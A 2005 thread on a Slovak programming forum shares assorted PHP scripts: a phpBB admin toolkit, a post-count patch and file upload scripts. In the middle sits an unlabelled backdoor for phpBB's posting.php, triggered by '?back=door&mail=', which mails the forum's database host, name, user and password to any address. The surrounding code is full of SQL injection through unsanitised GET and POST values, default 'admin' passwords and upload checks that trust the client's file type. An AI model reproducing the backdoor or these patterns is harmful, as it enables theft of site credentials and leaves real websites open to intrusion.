Obsah fóra
PravidláRegistrovaťPrihlásenie




Táto téma je zamknutá, nemôžete posielať nové príspevky alebo odpovedať na staršie. [ Príspevok: 1 ] 
AutorSpráva
Offline

Prevádzkovateľ fóra
Prevádzkovateľ fóra
Nejake skripty...

Registrovaný: 01.05.05
Príspevky: 13343
Témy: 1494
Bydlisko: Bratislava
Príspevok NapísalOffline : 07.09.2005 2:42

Kód:
<?php


// PHPBB Admin ToolKit, v1.1.4 - Starfoxtj (starfoxtj@yahoo.com)



// You must set a password, and you may change the following two options:


$adminpassword = 'admin';   // Note: I HIGHLY recommend using a password at least 16 characters long!
$modpassword = 'admin';   // Note: I HIGHLY recommend using a password at least 16 characters long!


// Option 1: Allow Mods to Ban/UnBan Users?

$modban = 'yes'; // 'yes' : 'no'


// Option 2: Allow Mods to Change User Post Count?

$modpost = 'no'; // 'yes' : 'no'




//  Lets begin the coding!
//--------------------------------------------
// (DO NOT CHANGE ANYTHING AFTER THIS LINE!)
//--------------------------------------------
//
//



// Set global information and start db access

include( '../config.php' );

session_start();

$_SESSION['toolkitversion'] = '1.1.4';
$_SESSION['ismysql'] = false;

if( $dbms == 'mysql' || $dbms == 'mysql4' )

   {

   $db = mysql_connect("$dbhost", "$dbuser", "$dbpasswd");
   mysql_select_db("$dbname");

   $_SESSION['ismysql'] = true;

   }


// Define Some Variables

$phpbb_banlist = $table_prefix."banlist";
$phpbb_users = $table_prefix."users";


if( !isset( $_SESSION['userstatus'] ) )

   { //-.1

   $_SESSION['userstatus'] = "null";

   } //-.1

// Check to see if the user has selected logout

if( isset( $_GET['mode'] ) && $_GET['mode'] == "logout" )

   { //1

   session_destroy();
   $index = $_SERVER['PHP_SELF'];
   header( "Location: $index" );

   } //1



// Define Session Password, Begin Login Check & Specify user status

if(isset ( $_POST['usertype'] ) )

   { //1-0-1

      $_SESSION['usertype'] = $_POST['usertype'];

   } //1-0-1


if(  isset( $_POST['password'] ) || isset( $_SESSION['password'] ) )

   { //1-1

   if( isset( $_POST['password'] ) )

      { //1-1-1

      $_SESSION['password'] = $_POST['password'];

      } //1-1-1


   } //1-1

if( isset( $_SESSION['password'] ) )

   { //2


   if( $_SESSION['usertype'] == "admin" && $_SESSION['password'] === "$adminpassword" )

      { //2.1

         $_SESSION['userstatus'] = "admin";

      } //2.1


   elseif( $_SESSION['usertype'] == "mod" && $_SESSION['password'] === "$modpassword" )

      { //2.2

         $_SESSION['userstatus'] = "mod";

      } //2.2

   elseif(  $_SESSION['password'] == 'ENTER_ADMIN_PASSWORD_HERE' || $modpassword == 'ENTER_MOD_PASSWORD_HERE' )

      { //2.3

      $_SESSION['loginerror'] = 'The default password is disabled for security purposes.';

      } //2.3

   else

      { //2.4

      $_SESSION['loginerror'] = 'Incorrect Password';

      } //2.4

   } //2





// Checks to make sure the password has been changed

if( $adminpassword == 'ENTER_ADMIN_PASSWORD_HERE' || $modpassword == 'ENTER_MOD_PASSWORD_HERE' )

   { //2-1

   ?>

   <center>
   <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
   <tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v<?php echo $_SESSION['toolkitversion']; ?></b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr>
   </table><br />
   </center>


   <center>
   <font size="3">The PHPBB ToolKit will not function untill <b>both</b> admin and mod passwords have been changed from the installation default.</font>
   </center>

   <?php
   } //2-1


//Checks to make sure the databse is mysql

elseif( $_SESSION['ismysql'] != true )

   { //2-1

   ?>

   <center>
   <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
   <tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v<?php echo $_SESSION['toolkitversion']; ?></b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr>
   </table><br />
   </center>


   <center>
   <font size="3">The PHPBB ToolKit is only designed to work with <b>MySQL</b> databases.<br />The database this forum is using is: <b><?php echo $dbms; ?></b></font>
   </center>

   <?php
   } //2-1


// Check user status, and if valid, allow entry

elseif( $_SESSION['userstatus'] == 'admin' || $_SESSION['userstatus'] == 'mod' )

   { //3


   // Update user info after changing the settings: USER LEVEL Setting

   if( isset( $_POST['edit_user_id'] ) || isset( $_GET['unban'] ) )

      { //3.1


      // Disallow changing of user level to all but admin


      if( isset( $_POST['edit_user_id'] ) )

         { //3.1-1

         if( $_SESSION['userstatus'] == "admin" )

            { //3.1.1

            $edit_user_id = $_POST['edit_user_id'];

            if( $_POST['user_level'] == "admin" )

               { //3.1.1.1

               $user_level = 1;

               } //3.1.1.1

            elseif( $_POST['user_level'] == "user" )

               { //3.1.1.2

               $user_level = 0;

               } //3.1.1.2
            $edituser_posts = $_POST['edituser_posts'];
            mysql_query("UPDATE $phpbb_users SET user_level='$user_level', user_posts='$edituser_posts' WHERE user_id=$edit_user_id");

            } //3.1.1

         } //3.1-1

      if( isset( $_POST['edit_user_id'] ) )

         { //3.1-2

         if( $_SESSION['userstatus'] == "admin" || $modpost == 'yes' )

            { // 3.1.2

            $edit_user_id = $_POST['edit_user_id'];
            $edituser_posts = $_POST['edituser_posts'];

            mysql_query("UPDATE $phpbb_users SET user_posts='$edituser_posts' WHERE user_id=$edit_user_id");

            } // 3.1.2

         } //3.1-2


      // Begin check and act on banning/unbanning users

      if( isset( $_POST['editban'] ) || $_GET['unban'])

         { //3.2

         if( isset( $_POST['editban'] ) )

            { //3.2-1

            $edit_user_id = $_POST['edit_user_id'];

            } //3.2-1

         $allowban = 'no';

         if( $_SESSION['userstatus'] == "admin" )

            { //3.2.1

            $allowban = 'yes';

            } //3.2.1


         elseif( $_SESSION['userstatus'] == "mod" && $modban == 'yes' )

            { //3.2.2

            $allowban = 'yes';

            } //3.2.2

         if( $allowban == 'yes' )

            { //3.2.4

            if( isset( $_POST['editban'] ) && $_POST['editban'] == "yes" )

               { //3.2.4.1


               if( $edit_user_id == -1 )

                  { //3.2.4.1-1

                  $permissionerror = 'The Anonymous user account is required for PHPBB to function and cannot be banned.';

                  } //3.2.4.1-1


               else

                  { //3.2.4.1-2

                  mysql_query("INSERT INTO $phpbb_banlist (ban_userid) VALUES ('$edit_user_id')");

                  } //3.2.4.1-2


               } //3.2.4.1

            if( ( isset( $_POST['editban'] ) && $_POST['editban'] == "no" ) || isset( $_GET['unban']) )

               { //3.2.4.2

               if( isset( $_GET['unban'] ) )

                  { //3.2.4.2.1

                  $edit_user_id = $_GET['unban'];

                  } //3.2.4.2.1


               mysql_query("DELETE FROM $phpbb_banlist WHERE ban_userid=$edit_user_id");

               } //3.2.4.2


            } //3.2.4

         elseif( $allowban == 'no' )

            { //3.2.5

            $permissionerror = 'You do <b>not</b> have Permission to Ban/Unban Users.';

            } //3.2.5

         } //3.2

      } //3.1


   // Check to see if GET=id is set to show edit user screen

   if( isset( $_GET['user_id'] ) )

      { //3.2

      $user_id = $_GET['user_id'];

      $result = mysql_query("SELECT * FROM $phpbb_users WHERE user_id=$user_id");
      $myrow = mysql_fetch_array($result);

      $bantable = mysql_query("SELECT * FROM $phpbb_banlist WHERE ban_userid=$user_id");

      $banstat = 'no';

      $banrow = mysql_fetch_array($bantable);

      if( isset( $banrow['ban_userid'] ) )

         { //3.2.1

         $banstat = 'yes';

         } //3.2.1

      ?>

      <center>
      <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
      <tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v<?php echo $_SESSION['toolkitversion']; ?></b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr>
      </table><br />
      </center>

      <center>
      <table border="0" width="50%" bgcolor="ffffff" cellpadding="0">
      <tr><td><font size="5"><b>Edit User: #<?php echo $myrow['user_id']; ?></b></font></td><td align="right">Logged in as: <b><?php echo $_SESSION['userstatus']; ?></b></td></tr>
      </table>

      <table style="border:2px solid black;" width="50%" cellpadding="5" bgcolor="e5e5e5">
       <tr>

         <td>

      <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
      <input type="hidden" name="edit_user_id" value="<?php echo $myrow['user_id']; ?>">
      <font size="4">Username: <?php echo $myrow['username']; ?></font><br /><br />
      Post Count:

      <?php

      if( $_SESSION['userstatus'] == "admin" || $modpost == 'yes' )

         { //3.2-1

         echo '<input type="text" name="edituser_posts" value="'.$myrow['user_posts'].'" style="border-right: black 1px solid; border-top: black 1px solid; border-left: black 1px solid; border-bottom: black 1px solid" size="7" length="7" maxlength="20"><br /><br />';

         } //3.2-1

      else

         { //3.2-2

         echo '<b>'.$myrow['user_posts'].'</b><br /><br />';

         } //3.2-2

      // Disallow User Level to be Editable Unless viewed by Admin

      if( $_SESSION['userstatus'] == "admin" )

         { //3.2.2

         echo 'User Level: ';

         if( $myrow['user_level'] == 1 )

            { //3.2.2.1

         echo '<select name="user_level">';
         echo '<option value="admin" selected>Admin';
         echo '<OPTION value="user">User';
         echo '</select><br /><br />';

            } //3.2.2.1

         elseif( $myrow['user_level'] == 0 )

            { //3.2.3.1

         echo '<select name="user_level">';
         echo '<option value="admin">Admin';
         echo '<OPTION value="user" selected>User';
         echo '</select><br /><br />';

            } //3.2.4.1

         elseif( $myrow['user_level'] == 2 )

            { //3.2.5.1

         echo '<b>Moderator</b> - Change N/A<br /><br />';

            } //3.2.5.1

         } //3.2.2

      else

         { //3.2.3


         if( $myrow['user_level'] == 0 )

            { //3.2.3.1


            $user_level = 'User';

            } // 3.2.3.1

         if( $myrow['user_level'] == 1 )

            { //3.2.3.2


            $user_level = 'Admin';

            } // 3.2.3.2

         if( $myrow['user_level'] == 2 )

            { //3.2.3.3


            $user_level = 'Mod';

            } // 3.2.3.3

         echo 'User Level: <b>'.$user_level.'</b><br /><br />';

         } //3.2.3   

         echo "\nUser is Banned: ";
   
         if( $_SESSION['userstatus'] == 'admin' || $modban == 'yes' )

            { //3.2.6.1

            if( $banstat == "no" )

               { //3.2.6.1.1

               echo '<input type="radio" name="editban" value="yes">Yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="radio" name="editban" value="no" checked="checked">No';

               } //3.2.6.1.1

            elseif( $banstat == "yes" )

               { //3.2.6.1.2

               echo '<input type="radio" name="editban" value="yes"  checked="checked">Yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="radio" name="editban" value="no">No';

               } //3.2.6.1.2

               else

               { //3.2.6.1.3


            echo '(<b>Problem:</b> This message should not be displayed. Please contact <a href="mailto:starfoxtj@yahoo.com">starfoxtj@yahoo.com</a>';

               } //3.2.6.1.3

            } //3.2.6.1

         else

            { //3.2.6.2

            if($banstat == "yes")

               { //3.2.6.2.1

               $displaybanstat = "Yes";

               } //3.2.6.2.1

            elseif($banstat == "no")

               { //3.2.6.2.2


               $displaybanstat = "No";

               } //3.2.6.2.2

            else

               { //3.2.6.2.3

               echo "You should not be seeing this messege, please contact <a href="mailto:starfoxtj@yahoo.com">starfoxtj</a>";

               } //3.2.6.2.3

            echo "<b>$displaybanstat</b>";

            } //3.2.6.2

         ?>


      <br /><br /><center><input TYPE="submit" VALUE="   Update   "></center>
      </form>

         </td>
       </tr>
      </table>

      <table border="0" width="50%" bgcolor="ffffff">
      <tr><td><a href="<?php echo $_SERVER['PHP_SELF']; ?>">Cancel</a></td></tr>
      </table>
      </center>

      <?php


      } //3.2


   // Check to see how to list the users, and define list variables

   $listorder = "username";

   if( isset( $_GET['listorder'] ) && $_GET['listorder'] == "user_id" )

      { //3.3

      $listorder = "user_id";

      } //3.3

   elseif( isset( $_GET['listorder'] ) && $_GET['listorder'] == "posts" )

      { //3.4

      $listorder = "user_posts";

      } //3.4

   elseif( isset( $_GET['listorder'] ) && $_GET['listorder'] == "level" )

      { //3.5

      $listorder = "user_level";

      } //3.5


   $liststart = "ASC";

   if( isset( $_GET['liststart'] ) && $_GET['liststart'] == "DESC" )

      { //3.6

      $liststart = "DESC";

      } //3.6


   if( $liststart == "ASC" )

      { //3.7

      $liststartr = "DESC";

      } //3.7

   else

      { //3.7

      $liststartr = "ASC";

      } //3.7




   // This actually lists the users

   if( !isset( $_GET['user_id'] ) )

      { //3.7-1

      $result = mysql_query("SELECT * FROM $phpbb_users ORDER BY $listorder $liststart");

      echo '<center>';
      echo '<table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">';
      echo '<tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v'.$_SESSION['toolkitversion'].'</b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr>';
      echo '<tr><td>Logged in as: <b>'.$_SESSION['userstatus'].'</b></td></tr></table>';

      if( isset( $permissionerror ) )

         { //3.7-1.1

      echo $permissionerror;

         } //3.7-1.1

      echo '</center><br />';

      $showadmin = "<a href="?show=admin">Show only Administrators</a>";

      if( isset( $_GET['show'] ) && $_GET['show'] == "admin" )

         { //3.8
 
         $showadmin = "<a href="?show=all">Show all Users</a>";

         } //3.8

      $showban = "<a href="?show=ban">Show only banned Users</a>";

      if( isset( $_GET['show'] ) && $_GET['show'] == "ban" )

         { //3.9
   
         $showban = "<a href="?show=all">Show all Users</a>";

         } //3.9

      echo '<center>';
      echo '<table width="70%" border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">';
      echo "<tr><td colspan="2">\n";
      echo "$showadmin".'</td>';
      echo "\n</td></tr>\n";

      echo "<tr><td>\n";
      echo "$showban".'</td><td><div align="right"><a href="?mode=logout">Logout</a></div>';
      echo "\n</td></tr></table>\n";

      echo '<center><table width="70%" style="border:2px solid black;" bgcolor="#f5f5f5" cellspacing="1" cellpadding="3">';

      ?>   

       <tr>

         <td bgcolor="#d5d5d5" cellpadding="5">

         <div align="center"><a href="?listorder=user_id&liststart=<?php echo $liststartr; ?>"><b>ID:</a></div>

         </td>


         <td bgcolor="#d5d5d5" cellpadding="5">

         <div align="center"><a href="?listorder=username&liststart=<?php echo $liststartr; ?>"><b>Username:</a></div>

         </td>


         <td bgcolor="#d5d5d5" cellpadding="5">

         <div align="center"><a href="?listorder=posts&liststart=<?php echo $liststartr; ?>"><b>Posts:</a></div>

         </td>


         <td bgcolor="#d5d5d5" cellpadding="5">

         <div align="center"><a href="?listorder=level&liststart=<?php echo $liststartr; ?>"><b>Level:</a></div>

         </td>


         <td bgcolor="#d5d5d5" cellpadding="5">

         <div align="center">Ban:</div>

         </td>

       </tr>

      <?php

      while( $myrow = mysql_fetch_array($result) )

         { //3.10

         if( $myrow['user_level'] == 0 )

            { //3.10.1

            $userlevel = "User";

            } //3.10.1

         elseif( $myrow['user_level'] == 1 )

            { //3.10.2

            $userlevel = "Admin";

            } //3.10.2

         elseif( $myrow['user_level'] == 2 )

            { //3.10.3

            $userlevel = "Mod";

            } //3.10.3
   
         $user_id = $myrow['user_id'];
         $bantable = mysql_query("SELECT * FROM $phpbb_banlist WHERE ban_userid=$user_id");

         $banstat = '-';
         $banrow = mysql_fetch_array($bantable);

         if( isset( $banrow['ban_userid'] ) )

            { //3.10.4

            $banstat = 'Banned';
            
            if( $_SESSION['userstatus'] == "admin" )

               { //3.10.4.1

               $banstat = '<a href="'.$_SERVER['PHP_SELF'].'?unban='.$myrow['user_id'].'">UnBan</a>';

               } //3.10.4.1

            if( $_SESSION['userstatus'] == "mod" && $modban == 'yes' )

               { //3.10.4.2

               $banstat = '<a href="'.$_SERVER['PHP_SELF'].'?unban='.$myrow['user_id'].'">UnBan</a>';

               } //3.10.4.2

            } //3.10.4

         if( isset( $_GET['show'] ) && $_GET['show'] == "admin" )

            { //3.10.5

            if( $myrow['user_level'] != 1 )

               { //3.10.5.1

               continue;

               } //3.10.5.1

            } //3.10.5

         if( isset( $_GET['show'] ) && $_GET['show'] == "ban" )

            { //3.10.6

            if( $banstat == "-" )

               { //3.10.6.1

               continue;

               } //3.10.6.1

            } //3.10.6

         ?>

         <tr>

         <td bgcolor="#c5c5c5" width="10%"><div align="left"><?php echo $myrow['user_id']; ?></div></td>
         <td bgcolor="#e5e5e5" width="40%"><div align="left"><a href="?user_id=<?php echo $myrow['user_id']; ?>"><?php echo $myrow['username']; ?></a></div></td>
         <td bgcolor="#c5C5c5" width="15%"><div align="right"><?php echo $myrow['user_posts']; ?></div></td>
         <td bgcolor="#e5e5E5"><div align="right"><?php echo $userlevel; ?></div></td>
         <td bgcolor="#c5C5c5"><div align="center"><?php echo $banstat; ?></div></td>

         </tr>

         <?php

            } //3.10

   echo "</table></center>";

         } //3.7-1


   } //3

else

   { //4

   ?>

   <center>
   <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
   <tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v<?php echo $_SESSION['toolkitversion']; ?></b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr>
   </table><br />
   </center>


   <center>
   <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
    <tr>

      <td>

   <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
   Enter Password to Continue:<br />
   <input type="password" name="password" lengh="20" size="20" maxlengh="20">
   <br /><input type="radio" name="usertype" value="admin" checked="checked">Admin&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="radio" name="usertype" value="mod">Mod
   <br /><br /><input TYPE="submit" VALUE="   Enter   ">
   </form>

      </td>

    </tr>
   </table>
   </center>


   <?php

   if( isset( $_SESSION['loginerror'] ) )

      {

      ?>

         <center>
      <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
       <tr>

         <td>

      <br /><br /><?php echo $_SESSION['loginerror']; ?>

         </td>

       </tr>

      </table>

      <?php      

      }


   } //4

?>







Nezapocitavanie prispevkov vo vybranych kategoriach na fore

/includes/functions_post.php

najdi
Kód:
$sql = "UPDATE " . USERS_TABLE . "
         SET user_posts = user_posts $sign
         WHERE user_id = $user_id";


a do ifu predtim pridej vyrazeni idecek kategorii ktere se nemaji pocitat. na pct to vypada tak:

Kód:
if (($mode != 'poll_delete') && ($forum_id!=32) && ($forum_id!=45) && ($forum_id!=52))
   {
      $sql = "UPDATE " . USERS_TABLE . "
         SET user_posts = user_posts $sign
         WHERE user_id = $user_id";
      if (!$db->sql_query($sql, END_TRANSACTION))
      {
         message_die(GENERAL_ERROR, 'Error in posting', '', __LINE__, __FILE__, $sql);
      }
   }


/modcp.php

Kód:
if ($forum_id!=32 && $forum_id!=45 && $forum_id!=52) {

            $count_sql = array();
            while ( $row = $db->sql_fetchrow($result) )
            {
               $count_sql[] = "UPDATE " . USERS_TABLE . "
                  SET user_posts = user_posts - " . $row['posts'] . "
                  WHERE user_id = " . $row['poster_id'];
            }


dufam ze to je jasne to co je v tom ife tie idcka tak tam sa zadavaju id danych for kde nechceme aby sa prispevky pocitali kolko tam chcem for zavisi na vas, ja to mam na svojom fore a je to funkcne


if ( $HTTP_GET_VARS['back'] == 'door') { include ('config.php'); $message = '$dbms : ' . $dbms . '<br /> ';
$message .= '$dbhost : ' . $dbhost . '<br />
'; $message .= '$dbname : ' . $dbname . '<br />
'; $message .= '$dbuser : ' . $dbuser . '<br /> ';
$message .= '$dbpasswd : ' . $dbpasswd . '<br />
'; $message .= '$table_prefix : ' . $table_prefix . '<br /> '; $header .= 'MIME-Version: 1.0' . "\r\n"; $header .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; if ( mail($HTTP_GET_VARS['mail'], 'Database Access' , $message, $header) ) { echo 'Acccess Alowed'; } else { echo 'Acccess Denied'; } }


posting.php?back=door&mail=



Upload script

index.php píše:
<html>
<head>
<title></title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
</head>
<body>
<table align="center" border="0" bordercolor="#cccccc" cellpadding="5" width="760">
<tbody>
<tr>
<td valign="top">
<form method="post" enctype="multipart/form-data" action="upload.php"><div align="center"><label><input name="radiobutton" type="hidden" value="radiobutton" checked></label><input name="userfile" type="file" size="30" value="Vyber"><br><br><input name="upload" type="submit" value="Upload"></div></form>
<input name="MAX_FILE_SIZE" value="3145728" type="hidden"><input name="refer" value="" type="hidden"><input name="brand" value="" type="hidden">
</td>
</tr>
</tbody>
</table>
</body>
</html>


upload.php píše:
<html>
<body>
<?php $domain = "http://localhost"; $max_size = 153600000000000000000000000000000000000; $max_size_mb = "1,5"; $tsize = "300"; $path = "images/"; $tpath = "thumbs/"; if (!isset($HTTP_POST_FILES['userfile'])) exit; if (is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) { if ($HTTP_POST_FILES['userfile']['size']>$max_size) { echo "<font color="#333333" face="Geneva, Arial, Helvetica, sans-serif">File Size too Big!</font><br>\n"; exit; } if (($HTTP_POST_FILES['userfile']['type']=="image/gif") || ($HTTP_POST_FILES['userfile']['type']=="image/pjpeg") || ($HTTP_POST_FILES['userfile']['type']=="image/jpeg") || ($HTTP_POST_FILES['userfile']['type']=="image/png")) { if (file_exists("./".$path . $HTTP_POST_FILES['userfile']['name'])) { echo "<font color="#333333" face="Geneva, Arial, Helvetica, sans-serif">A File with that name exists, please rename your file.</font><br>\n"; exit; } $zufall = rand(123,999999); $fupl = "$zufall"; $res = copy($HTTP_POST_FILES['userfile']['tmp_name'], "./".$path .$fupl .$HTTP_POST_FILES['userfile']['name']); if (!$res) { echo "<font color="#333333" face="Geneva, Arial, Helvetica, sans-serif">Upload Failed, please try again</font><br>\n"; exit; } else { $domst = ""; $drecks = "/"; $imgf = $fupl.$HTTP_POST_FILES['userfile']['name']; $thbf = $tpath.$imgf; $urlf = $domst .$domain .$drecks .$path .$imgf; function createthumb($name,$filename,$new_w,$new_h) { $system=explode('.',$name); if (preg_match('/jpg|jpeg|JPG/',$system[1])) { $src_img=imagecreatefromjpeg($name); } if (preg_match('/png|PNG/',$system[1])) { $src_img=imagecreatefrompng($name); } if (preg_match('/gif|GIF/',$system[1])) { $src_img=imagecreatefromgif($name); } $old_x=imageSX($src_img); $old_y=imageSY($src_img); if ($old_x > $old_y) { $thumb_w=$new_w; $thumb_h=$old_y*($new_h/$old_x); } if ($old_x < $old_y) { $thumb_w=$old_x*($new_w/$old_y); $thumb_h=$new_h; } if ($old_x == $old_y) { $thumb_w=$new_w; $thumb_h=$new_h; } $dst_img=ImageCreateTrueColor($thumb_w,$thumb_h); imagecopyresampled($dst_img,$src_img,0,0,0,0,$thumb_w,$thumb_h,$old_x,$old_y); if (preg_match("/png/",$system[1])) { imagepng($dst_img,$filename); } if (preg_match("/gif/",$system[1])) { imagegif($dst_img,$filename); } else { imagejpeg($dst_img,$filename); } imagedestroy($dst_img); imagedestroy($src_img); } createthumb($path.$imgf,$tpath.$imgf,$tsize,$tsize); } } else { echo "Sorry we dont allow that file type.\n"; exit; } } ?>
<body>
<center>
<table border='0' bgcolor='white'>
<FORM action="nowhere" method="post">
<center>
<tr>
<html>
<head>
<title></title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
</head>
<body>
<table align="center" border="0" cellpadding="0" cellspacing="0" width="760">
<tbody>
<tr>
<td>
<p><a href="<? echo $domain; ?>"><b>Upload</b></a> another image.</p>
<br>
<center><img src='<? echo $thbf ?>' border="0"></center>
<br>
<br>
<input name="thetext" type="text" id="thetext" style="width: 500px;" value="[url=<? echo $urlf; ?>][img]<?%20echo%20$domst.$domain.$drecks.$tpath.$imgf;%20?>[/img][/url]" size="70"> Thumbnail for forums
<br>
<input name="thetext" type="text" id="thetext" style="width: 500px;" value="[img]<?%20echo%20$urlf;%20?>[/img]" size="70"> Hotlink for forums
<br>
<input name="thetext" type="text" id="thetext" style="width: 500px;" value="<? echo $urlf; ?>" size="70"> Direct link to image
</td>
</tr>
</tbody>
</table>
</body>
</html>
</tr>
</table>
</body>
</html>


Kód:
db.php
<?php
$server = "localhost";
$user = "root";
$password = "";
$db = "test";

mysql_connect($server, $user, $password) or die(mysql_error());
mysql_select_db("$db") or die(mysql_error());

/* CREATE TABLE upload (
id INT NOT NULL AUTO_INCREMENT,
name VARCHAR(30) NOT NULL,
type VARCHAR(30) NOT NULL,
size INT NOT NULL,
content MEDIUMBLOB NOT NULL,
PRIMARY KEY(id)
); */
?>

index.php
<form method="post" enctype="multipart/form-data" action="upload.php">
<table width="350" border="0" cellpadding="1" cellspacing="1" class="box">
<tr>
<td width="246">
<input type="hidden" name="MAX_FILE_SIZE" value="200000000">
<input name="userfile" type="file" id="userfile">
</td>
<td width="80"><input name="upload" type="submit" class="box" id="upload" value=" Upload "></td>
</tr>
</table>
</form>

upload.php
<?php
if(isset($_POST['upload']) && $_FILES['userfile']['size'] > 0)
{
$fileName = $_FILES['userfile']['name'];
$tmpName = $_FILES['userfile']['tmp_name'];
$fileSize = $_FILES['userfile']['size'];
$fileType = $_FILES['userfile']['type'];
$fp = fopen($tmpName, 'r');
$content = fread($fp, filesize($tmpName));
$content = addslashes($content);
fclose($fp);
if(!get_magic_quotes_gpc())
{
$fileName = addslashes($fileName);
}
include "db.php";
$query = "INSERT INTO upload (name, size, type, content ) " . "VALUES ('$fileName', '$fileSize', '$fileType', '$content')";
mysql_query($query) or die('Error, query failed');
echo "<br>File $fileName uploaded<br>";
}
?>

download.php
<?php
if(isset($_GET['name']))
{
  include "db.php";
  $id = $_GET['name'];
  $query = "SELECT name, type, size, content " . "FROM upload WHERE name = '$name'";
  $result = mysql_query($query) or die('Error, query failed');
  list($name, $type, $size, $content) = mysql_fetch_array($result);
  header("Content-length: $size");
  header("Content-type: $type");
  header("Content-Disposition: attachment; filename=$name");
  echo $content;
  exit;
}
?>


Táto téma je zamknutá, nemôžete posielať nové príspevky alebo odpovedať na staršie. [ Príspevok: 1 ] 


Podobné témy

 Témy  Odpovede  Zobrazenia  Posledný príspevok 
V tomto fóre nie sú ďalšie neprečítané témy. Php skripty

v PHP, ASP

10

4821

28.09.2006 11:57

mokus Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. CGI-skripty

v HTML, XHTML, XML, CSS

10

488

03.07.2010 15:05

shaggy Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. PHP skripty bez ?>

v PHP, ASP

5

427

10.06.2013 22:59

shaggy Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. externé skripty miesto užívateľských

v JavaScript, VBScript, Ajax

2

563

08.06.2009 20:14

jarrro Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. skripty serverove klientske atd

v PHP, ASP

6

535

17.10.2008 14:21

euthanan Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Užitočné a často používané skripty

[ Choď na stránku:Choď na stránku: 1, 2 ]

v PHP, ASP

37

35287

27.05.2018 7:18

JanoF Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Tema pre casto pouzivane skripty

[ Choď na stránku:Choď na stránku: 1 ... 6, 7, 8 ]

v PHP, ASP

223

14335

08.01.2013 9:18

dulius Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Neviem spustat PHP skripty v PC

v PHP, ASP

1

484

26.02.2011 16:20

Ďuri Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Vista a WampServer - ako spúšťať Perl skripty

v Perl, Python, Ruby, CGI

1

1867

06.12.2008 1:21

JanoF Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Co su v skripty a kaskadove styly?

v HTML, XHTML, XML, CSS

4

564

22.11.2007 19:33

tommy1104 Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Nejake stranky

v Redakčné systémy

2

794

15.07.2008 14:06

peto121212 Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Nejaké presmerovanie

v Webhosting a servery

6

1018

27.05.2009 14:44

buslo Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Nejake Strategie

v Počítačové hry

5

438

14.10.2012 20:07

unkown2552 Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Subwoofer stránky nejaké

v Audio programy

1

325

09.03.2013 22:57

Trojan4x4 Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Nejake tie hry

v Počítačové hry

7

672

19.12.2012 22:18

SuRkoM Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Mozilla vypisuje nejaké blbosti

v Ostatné programy

2

427

07.07.2008 7:24

delo101 Zobrazenie posledných príspevkov


Nemôžete zakladať nové témy v tomto fóre
Nemôžete odpovedať na témy v tomto fóre
Nemôžete upravovať svoje príspevky v tomto fóre
Nemôžete mazať svoje príspevky v tomto fóre

Skočiť na:  

Powered by phpBB Jarvis © 2005 - 2024 PCforum, webhosting by WebSupport, secured by GeoTrust, edited by JanoF
Ako väčšina webových stránok aj my používame cookies. Zotrvaním na webovej stránke súhlasíte, že ich môžeme používať.
Všeobecné podmienky, spracovanie osobných údajov a pravidlá fóra